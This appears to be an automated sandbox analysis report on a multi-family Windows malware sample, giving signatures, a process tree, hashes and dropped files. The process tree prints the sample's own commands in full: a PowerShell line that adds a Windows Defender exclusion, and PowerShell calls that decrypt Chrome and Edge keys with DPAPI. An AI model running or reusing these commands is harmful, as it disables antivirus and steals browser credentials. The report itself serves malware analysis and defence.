Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 16:51

General

  • Target
    2026-06-04_97629a6366f73be9e30a2a3887ff4950_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 37.1MB
  • Sample260604-vcsjvsbx6l
  • SHA256 c222d0b266a2eddee4d939e50374fa7f688987d31268bb9ab14eb2e65881c5fd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-04_97629a6366f73be9e30a2a3887ff4950_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-04_97629a6366f73be9e30a2a3887ff4950_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3088
    • C:\Users\Admin\AppData\Local\Temp\2026-06-04_97629a6366f73be9e30a2a3887ff4950_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
      C:\Users\Admin\AppData\Local\Temp\2026-06-04_97629a6366f73be9e30a2a3887ff4950_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\Administrator\Desktop\ss\GEMİNİ\sa.js --stealth
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3820
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -Command "Start-Process powershell -ArgumentList "-Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Rivals'" -Verb RunAs""
        3⤵
        • Access Token Manipulation: Create Process with Token
        • Suspicious use of WriteProcessMemory
        PID:2592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "Start-Process powershell -ArgumentList "-Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Rivals'" -Verb RunAs"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3976
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -Command "[Reflection.Assembly]::LoadWithPartialName('System.Security'); [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]](-split ('01 0x00 0x00 0x00 0xd0 0x8c 0x9d 0xdf 0x01 0x15 0xd1 0x11 0x8c 0x7a 0x00 0xc0 0x4f 0xc2 0x97 0xeb 0x01 0x00 0x00 0x00 0x85 0x1f 0x26 0x5b 0x55 0x4a 0x47 0x48 0xa5 0xcd 0x1a 0x88 0x0e 0x73 0x33 0xee 0x10 0x00 0x00 0x00 0x1c 0x00 0x00 0x00 0x47 0x00 0x6f 0x00 0x6f 0x00 0x67 0x00 0x6c 0x00 0x65 0x00 0x20 0x00 0x43 0x00 0x68 0x00 0x72 0x00 0x6f 0x00 0x6d 0x00 0x65 0x00 0x00 0x00 0x10 0x66 0x00 0x00 0x00 0x01 0x00 0x00 0x20 0x00 0x00 0x00 0x8a 0x3c 0xb4 0xbd 0xd7 0x1d 0x99 0xdb 0xcf 0x43 0x64 0x2c 0xf0 0x76 0xfb 0x4d 0x72 0x22 0xc9 0x41 0x82 0x63 0x7d 0xb9 0x98 0x14 0xfa 0x8f 0xab 0x5d 0xbc 0x81 0x00 0x00 0x00 0x00 0x0e 0x80 0x00 0x00 0x00 0x02 0x00 0x00 0x20 0x00 0x00 0x00 0xc0 0x6f 0x94 0x53 0x3c 0x49 0x67 0x41 0x48 0x07 0x7b 0x00 0x9c 0xe7 0x76 0xf2 0x07 0xee 0xf0 0x81 0x52 0x40 0x50 0xa5 0x25 0x37 0x25 0x68 0x19 0x55 0x47 0x38 0x30 0x00 0x00 0x00 0x57 0xe4 0x3f 0x7e 0x4b 0x0c 0x93 0xe1 0x93 0x46 0x62 0x36 0xfa 0x90 0xd7 0x08 0x21 0xe9 0xb1 0x79 0x97 0xe3 0xba 0x9f 0x74 0x23 0x6b 0x52 0x0e 0x5c 0x54 0x50 0xab 0xd5 0xf4 0x62 0x41 0x16 0xd2 0x11 0xe7 0x38 0x1e 0x88 0xd9 0xf5 0x9e 0xf5 0x40 0x00 0x00 0x00 0x37 0x13 0x18 0x9b 0xb7 0x26 0x2f 0xb6 0x26 0x21 0x78 0x75 0x38 0x1a 0x39 0x83 0xa6 0xcf 0x62 0xb6 0x6a 0xe0 0xbb 0x03 0x45 0x0a 0x42 0xa8 0x36 0x68 0xff 0xde 0x83 0xa4 0x5e 0xc5 0xc9 0x6e 0x0f 0x31 0xfa 0x15 0x8a 0xa3 0x2f 0xd6 0xbb 0x90 0x1a 0x9d 0x56 0x01 0x4b 0x09 0xa4 0x09 0x2e 0xa8 0x5f 0x0b 0x33 0x37 0x10 0x2e'.replace(' ', ' 0x'))), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | ForEach-Object { "$_" }""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "[Reflection.Assembly]::LoadWithPartialName('System.Security'); [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]](-split ('01 0x00 0x00 0x00 0xd0 0x8c 0x9d 0xdf 0x01 0x15 0xd1 0x11 0x8c 0x7a 0x00 0xc0 0x4f 0xc2 0x97 0xeb 0x01 0x00 0x00 0x00 0x85 0x1f 0x26 0x5b 0x55 0x4a 0x47 0x48 0xa5 0xcd 0x1a 0x88 0x0e 0x73 0x33 0xee 0x10 0x00 0x00 0x00 0x1c 0x00 0x00 0x00 0x47 0x00 0x6f 0x00 0x6f 0x00 0x67 0x00 0x6c 0x00 0x65 0x00 0x20 0x00 0x43 0x00 0x68 0x00 0x72 0x00 0x6f 0x00 0x6d 0x00 0x65 0x00 0x00 0x00 0x10 0x66 0x00 0x00 0x00 0x01 0x00 0x00 0x20 0x00 0x00 0x00 0x8a 0x3c 0xb4 0xbd 0xd7 0x1d 0x99 0xdb 0xcf 0x43 0x64 0x2c 0xf0 0x76 0xfb 0x4d 0x72 0x22 0xc9 0x41 0x82 0x63 0x7d 0xb9 0x98 0x14 0xfa 0x8f 0xab 0x5d 0xbc 0x81 0x00 0x00 0x00 0x00 0x0e 0x80 0x00 0x00 0x00 0x02 0x00 0x00 0x20 0x00 0x00 0x00 0xc0 0x6f 0x94 0x53 0x3c 0x49 0x67 0x41 0x48 0x07 0x7b 0x00 0x9c 0xe7 0x76 0xf2 0x07 0xee 0xf0 0x81 0x52 0x40 0x50 0xa5 0x25 0x37 0x25 0x68 0x19 0x55 0x47 0x38 0x30 0x00 0x00 0x00 0x57 0xe4 0x3f 0x7e 0x4b 0x0c 0x93 0xe1 0x93 0x46 0x62 0x36 0xfa 0x90 0xd7 0x08 0x21 0xe9 0xb1 0x79 0x97 0xe3 0xba 0x9f 0x74 0x23 0x6b 0x52 0x0e 0x5c 0x54 0x50 0xab 0xd5 0xf4 0x62 0x41 0x16 0xd2 0x11 0xe7 0x38 0x1e 0x88 0xd9 0xf5 0x9e 0xf5 0x40 0x00 0x00 0x00 0x37 0x13 0x18 0x9b 0xb7 0x26 0x2f 0xb6 0x26 0x21 0x78 0x75 0x38 0x1a 0x39 0x83 0xa6 0xcf 0x62 0xb6 0x6a 0xe0 0xbb 0x03 0x45 0x0a 0x42 0xa8 0x36 0x68 0xff 0xde 0x83 0xa4 0x5e 0xc5 0xc9 0x6e 0x0f 0x31 0xfa 0x15 0x8a 0xa3 0x2f 0xd6 0xbb 0x90 0x1a 0x9d 0x56 0x01 0x4b 0x09 0xa4 0x09 0x2e 0xa8 0x5f 0x0b 0x33 0x37 0x10 0x2e'.replace(' ', ' 0x'))), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | ForEach-Object { "$_" }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4068
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -Command "[Reflection.Assembly]::LoadWithPartialName('System.Security'); [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]](-split ('01 0x00 0x00 0x00 0xd0 0x8c 0x9d 0xdf 0x01 0x15 0xd1 0x11 0x8c 0x7a 0x00 0xc0 0x4f 0xc2 0x97 0xeb 0x01 0x00 0x00 0x00 0x85 0x1f 0x26 0x5b 0x55 0x4a 0x47 0x48 0xa5 0xcd 0x1a 0x88 0x0e 0x73 0x33 0xee 0x10 0x00 0x00 0x00 0x1e 0x00 0x00 0x00 0x4d 0x00 0x69 0x00 0x63 0x00 0x72 0x00 0x6f 0x00 0x73 0x00 0x6f 0x00 0x66 0x00 0x74 0x00 0x20 0x00 0x45 0x00 0x64 0x00 0x67 0x00 0x65 0x00 0x00 0x00 0x10 0x66 0x00 0x00 0x00 0x01 0x00 0x00 0x20 0x00 0x00 0x00 0xda 0xf4 0x5a 0x54 0x98 0x56 0x1a 0x62 0x63 0x28 0x26 0x59 0x29 0x14 0x70 0x9b 0x1c 0xe7 0x5f 0x2d 0x97 0xcf 0x63 0xb3 0xc7 0x75 0x90 0x78 0x0e 0xd1 0x44 0x4a 0x00 0x00 0x00 0x00 0x0e 0x80 0x00 0x00 0x00 0x02 0x00 0x00 0x20 0x00 0x00 0x00 0xf0 0xd3 0xc8 0xde 0x7a 0xc5 0x4f 0x81 0x69 0x08 0x3b 0x4e 0x6f 0x7b 0x5c 0x48 0x72 0xb6 0xd5 0x5b 0x96 0xa0 0xd3 0x49 0x5a 0x40 0xc6 0x9c 0x9f 0xde 0xaf 0x89 0x30 0x00 0x00 0x00 0xc4 0xfd 0xe7 0x3e 0x2e 0xe6 0xbf 0x4e 0x1c 0x77 0x03 0xe9 0x53 0x96 0x82 0x28 0x5e 0xfb 0xa8 0x95 0x8a 0xbc 0x51 0x51 0x36 0x1f 0x1d 0xbe 0xf8 0xff 0xf3 0xb6 0x81 0x1c 0x4c 0x2f 0xc6 0x2e 0x4c 0x1e 0xdf 0xd2 0x5c 0x47 0x23 0x7c 0x28 0x8f 0x40 0x00 0x00 0x00 0x88 0x82 0x78 0xef 0x83 0xff 0x1b 0x63 0x80 0x7d 0x8d 0x1d 0x31 0x8c 0xd5 0x35 0xcf 0x01 0xf7 0x15 0x82 0xef 0x32 0x76 0xac 0x62 0x7b 0xf7 0x3f 0x03 0x6a 0xcb 0x2a 0x07 0x97 0xee 0x86 0xf3 0x6e 0x4d 0xb8 0x15 0xc2 0xf6 0x90 0x78 0xe4 0x51 0x57 0x32 0x8e 0xe2 0x4e 0x69 0x08 0x5c 0xe1 0x11 0x0f 0x86 0x97 0x3e 0x9f 0x98'.replace(' ', ' 0x'))), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | ForEach-Object { "$_" }""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "[Reflection.Assembly]::LoadWithPartialName('System.Security'); [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]](-split ('01 0x00 0x00 0x00 0xd0 0x8c 0x9d 0xdf 0x01 0x15 0xd1 0x11 0x8c 0x7a 0x00 0xc0 0x4f 0xc2 0x97 0xeb 0x01 0x00 0x00 0x00 0x85 0x1f 0x26 0x5b 0x55 0x4a 0x47 0x48 0xa5 0xcd 0x1a 0x88 0x0e 0x73 0x33 0xee 0x10 0x00 0x00 0x00 0x1e 0x00 0x00 0x00 0x4d 0x00 0x69 0x00 0x63 0x00 0x72 0x00 0x6f 0x00 0x73 0x00 0x6f 0x00 0x66 0x00 0x74 0x00 0x20 0x00 0x45 0x00 0x64 0x00 0x67 0x00 0x65 0x00 0x00 0x00 0x10 0x66 0x00 0x00 0x00 0x01 0x00 0x00 0x20 0x00 0x00 0x00 0xda 0xf4 0x5a 0x54 0x98 0x56 0x1a 0x62 0x63 0x28 0x26 0x59 0x29 0x14 0x70 0x9b 0x1c 0xe7 0x5f 0x2d 0x97 0xcf 0x63 0xb3 0xc7 0x75 0x90 0x78 0x0e 0xd1 0x44 0x4a 0x00 0x00 0x00 0x00 0x0e 0x80 0x00 0x00 0x00 0x02 0x00 0x00 0x20 0x00 0x00 0x00 0xf0 0xd3 0xc8 0xde 0x7a 0xc5 0x4f 0x81 0x69 0x08 0x3b 0x4e 0x6f 0x7b 0x5c 0x48 0x72 0xb6 0xd5 0x5b 0x96 0xa0 0xd3 0x49 0x5a 0x40 0xc6 0x9c 0x9f 0xde 0xaf 0x89 0x30 0x00 0x00 0x00 0xc4 0xfd 0xe7 0x3e 0x2e 0xe6 0xbf 0x4e 0x1c 0x77 0x03 0xe9 0x53 0x96 0x82 0x28 0x5e 0xfb 0xa8 0x95 0x8a 0xbc 0x51 0x51 0x36 0x1f 0x1d 0xbe 0xf8 0xff 0xf3 0xb6 0x81 0x1c 0x4c 0x2f 0xc6 0x2e 0x4c 0x1e 0xdf 0xd2 0x5c 0x47 0x23 0x7c 0x28 0x8f 0x40 0x00 0x00 0x00 0x88 0x82 0x78 0xef 0x83 0xff 0x1b 0x63 0x80 0x7d 0x8d 0x1d 0x31 0x8c 0xd5 0x35 0xcf 0x01 0xf7 0x15 0x82 0xef 0x32 0x76 0xac 0x62 0x7b 0xf7 0x3f 0x03 0x6a 0xcb 0x2a 0x07 0x97 0xee 0x86 0xf3 0x6e 0x4d 0xb8 0x15 0xc2 0xf6 0x90 0x78 0xe4 0x51 0x57 0x32 0x8e 0xe2 0x4e 0x69 0x08 0x5c 0xe1 0x11 0x0f 0x86 0x97 0x3e 0x9f 0x98'.replace(' ', ' 0x'))), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | ForEach-Object { "$_" }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 026d1569cc7d92522224cb7202b04adbf0978279191ab5814949d1ff9d618a6e
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 992B
        • SHA256 e3b61a692ce5138712731f07a05f87c5553ac286615c73971294878075e7c9f8
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_kwo4jge0.2qf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kwo4jge0.2qf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3976-8-0x000002CF2E300000-0x000002CF2E322000-memory.dmp

        memory/4068-20-0x000001DF4FDE0000-0x000001DF4FE30000-memory.dmp